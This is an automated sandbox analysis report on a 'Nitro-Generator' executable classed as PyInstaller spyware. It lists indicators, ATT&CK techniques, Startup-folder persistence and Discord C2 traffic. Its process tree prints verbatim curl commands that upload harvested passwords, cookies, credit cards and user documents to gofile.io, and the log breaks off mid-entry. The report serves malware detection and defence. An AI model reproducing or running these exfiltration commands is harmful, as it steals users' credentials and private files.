hxxps://mega[.]nz/file/Mr0xEYoA

Analysis

max time kernel
960s
max time network
1040s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
08/06/2024, 15:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://mega.nz/file/Mr0xEYoA

Score

8^/10

pyinstaller spyware

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
212	1044	Nitro-Generator.exe

Drops startup file 13 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nitro-Generator.exe	Nitro-Generator.exe

Loads dropped DLL 64 IoCs

pid	Process
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
3020	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe
5028	Nitro-Generator.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs

Web Service

T1102

flow	ioc
199	discord.com
383	discord.com
398	discord.com
434	discord.com
570	discord.com
159	discord.com
212	discord.com
286	discord.com
302	discord.com
106	discord.com
399	discord.com
472	discord.com
511	discord.com
524	discord.com
165	discord.com
467	discord.com
550	discord.com
245	discord.com
571	discord.com
93	discord.com
115	discord.com
261	discord.com
477	discord.com
539	discord.com
157	discord.com
177	discord.com
325	discord.com
408	discord.com
508	discord.com
426	discord.com
488	discord.com
133	discord.com
164	discord.com
166	discord.com
193	discord.com
238	discord.com
320	discord.com
299	discord.com
326	discord.com
353	discord.com
418	discord.com
556	discord.com
119	discord.com
160	discord.com
291	discord.com
531	discord.com
229	discord.com
278	discord.com
288	discord.com
422	discord.com
449	discord.com
497	discord.com
83	discord.com
227	discord.com
258	discord.com
369	discord.com
484	discord.com
487	discord.com
314	discord.com
537	discord.com
568	discord.com
60	discord.com
215	discord.com
220	discord.com

Looks up external IP address via web service 14 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	api.ipify.org
98	api.ipify.org
143	api.ipify.org
194	api.ipify.org
492	api.ipify.org
532	api.ipify.org
273	api.ipify.org
375	api.ipify.org
414	api.ipify.org
140	api.ipify.org
214	api.ipify.org
334	api.ipify.org
430	api.ipify.org
57	api.ipify.org

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000100000002aab7-1185.dat	pyinstaller

Enumerates processes with tasklist 1 TTPs 13 IoCs

Process Discovery

T1057

pid	Process
4664	tasklist.exe
4480	tasklist.exe
4896	tasklist.exe
2488	tasklist.exe
3180	tasklist.exe
4664	tasklist.exe
4476	tasklist.exe
2920	tasklist.exe
2288	tasklist.exe
2004	tasklist.exe
2440	tasklist.exe
2488	tasklist.exe
2428	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Local Settings	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Nitro-Generator-main.zip:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4528	msedge.exe
4528	msedge.exe
3096	msedge.exe
3096	msedge.exe
1868	msedge.exe
1868	msedge.exe
3128	identity_helper.exe
3128	identity_helper.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4916	msedge.exe
4844	msedge.exe
4844	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: 33	1728	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1728	AUDIODG.EXE
Token: SeDebugPrivilege	4664	tasklist.exe
Token: SeDebugPrivilege	3180	tasklist.exe
Token: SeDebugPrivilege	4476	tasklist.exe
Token: SeDebugPrivilege	4664	tasklist.exe
Token: SeDebugPrivilege	4480	tasklist.exe
Token: SeDebugPrivilege	2920	tasklist.exe
Token: SeDebugPrivilege	4896	tasklist.exe
Token: SeDebugPrivilege	2440	tasklist.exe
Token: SeDebugPrivilege	2288	tasklist.exe
Token: SeDebugPrivilege	2488	tasklist.exe
Token: SeDebugPrivilege	2488	tasklist.exe
Token: SeDebugPrivilege	2428	tasklist.exe
Token: SeDebugPrivilege	2004	tasklist.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe
3096	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3096 wrote to memory of 8	3096	msedge.exe	78
PID 3096 wrote to memory of 8	3096	msedge.exe	78
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 2192	3096	msedge.exe	79
PID 3096 wrote to memory of 4528	3096	msedge.exe	80
PID 3096 wrote to memory of 4528	3096	msedge.exe	80
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81
PID 3096 wrote to memory of 5044	3096	msedge.exe	81

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://mega.nz/file/Mr0xEYoA
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc0b5d3cb8,0x7ffc0b5d3cc8,0x7ffc0b5d3cd8
  2⤵
  PID:8
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1908 /prefetch:2
  2⤵
  PID:2192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2092 /prefetch:8
  2⤵
  PID:5044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:1
  2⤵
  PID:1496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1
  2⤵
  PID:1664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5336 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1868
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5576 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5300 /prefetch:8
  2⤵
  PID:1680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
  2⤵
  PID:1828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
  2⤵
  PID:4212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
  2⤵
  PID:5012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5964 /prefetch:1
  2⤵
  PID:4160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5800 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4924 /prefetch:1
  2⤵
  PID:4796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1888,14649022028087325315,11248226365229805641,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6220 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:4844

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4244

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2832

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004D4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:4600

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:852

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:2820
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  PID:3020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:4344
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:2512
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:4732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:3500
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:4276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:4720
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:1792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:4932
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:1912
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:3136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile"
    3⤵
    PID:248
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store1.gofile.io/uploadFile
      4⤵
      PID:1120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store1.gofile.io/uploadFile"
    3⤵
    PID:1732
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/TraceBackup.iso" https://store1.gofile.io/uploadFile
      4⤵
      PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store1.gofile.io/uploadFile"
    3⤵
    PID:3264
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupResume.docm" https://store1.gofile.io/uploadFile
      4⤵
      PID:3912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store1.gofile.io/uploadFile"
    3⤵
    PID:3920
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/HideBackup.mhtml" https://store1.gofile.io/uploadFile
      4⤵
      PID:4736

C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
"C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
1⤵
PID:2916
- C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe
  "C:\Users\Admin\Downloads\Nitro-Generator-main\Nitro-Generator-main\Nitro-Generator.exe"
  2⤵
  - Drops startup file
  - Loads dropped DLL
  PID:5028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    PID:3368
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:1448
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:4000
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:3780
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:3672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:412
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store3.gofile.io/uploadFile"
    3⤵
    PID:392
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store3.gofile.io/uploadFile
      4⤵
      PID:4036
- - C:\Windows\system32\cmd.exe
